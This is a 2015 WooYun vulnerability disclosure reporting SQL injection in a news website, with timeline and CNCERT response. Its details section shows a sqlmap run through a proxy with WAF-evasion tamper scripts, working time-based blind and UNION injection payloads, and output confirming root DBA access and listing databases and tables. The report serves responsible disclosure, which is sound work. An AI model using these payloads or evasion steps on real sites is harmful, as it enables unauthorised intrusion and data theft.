当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132400

漏洞标题:某新闻网站sql注入一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: anting

提交时间:2015-08-13 10:48

修复时间:2015-09-28 10:46

公开时间:2015-09-28 10:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-13: 细节已通知厂商并且等待厂商处理中
2015-08-14: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-24: 细节向核心白帽子及相关领域专家公开
2015-09-03: 细节向普通白帽子公开
2015-09-13: 细节向实习白帽子公开
2015-09-28: 细节向公众公开

简要描述:

一次浅尝辄止的测试,兑换东西就缺点那么点WB,求帮忙

详细说明:

需要绕过WAF,一开始没注意,后来ip被锁定了,就换代理了,碰巧也是个伪静态注入,可以参考之前的http://**.**.**.**/bugs/wooyun-2015-0114051
C:\Python27\sqlmap>sqlmap.py -u "http://**.**.**.**/index.php/Index/Cate
ory?catid=25" --proxy="**.**.**.**:80" between.py charencode.py --curr
nt-user --current-db --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150415}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 15:27:13
[15:27:13] [INFO] resuming back-end DBMS 'mysql'
[15:27:13] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Parameter: catid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: catid=25) AND (SELECT * FROM (SELECT(SLEEP(5)))olOb) AND (5771=577
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: catid=25) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONC
T(0x71716b7a71,0x4e4a62547a695379454f,0x7162707a71),NULL,NULL,NULL,NULL,NULL,NU
L,NULL,NULL,NULL,NULL,NULL--
---
[15:27:14] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[15:27:14] [INFO] fetching current user
current user: 'root@localhost'
[15:27:14] [INFO] fetching current database
current database: 'fzzm'
[15:27:14] [INFO] testing if current user is DBA
[15:27:14] [INFO] fetching current user
current user is DBA: True
available databases [5]:
[*] fzzm
[*] information_schema
[*] mysql
[*] test
[*] wdcpdb
Database: fzzm
[14 tables]
+----------------+
| cms_ad |
| cms_admins |
| cms_article |
| cms_author |
| cms_blocks |
| cms_categories |
| cms_comment |
| cms_cover |
| cms_danwei |
| cms_links |
| cms_pages |
| cms_reviews |
| cms_special |
| cms_users |
+----------------+
就不继续了

漏洞证明:

同上

修复方案:

你们比我更专业

版权声明:转载请注明来源 anting@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-14 10:45

厂商回复:

CNVD确认所述情况,已经转由CNCERT向北京市政府信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态:

暂无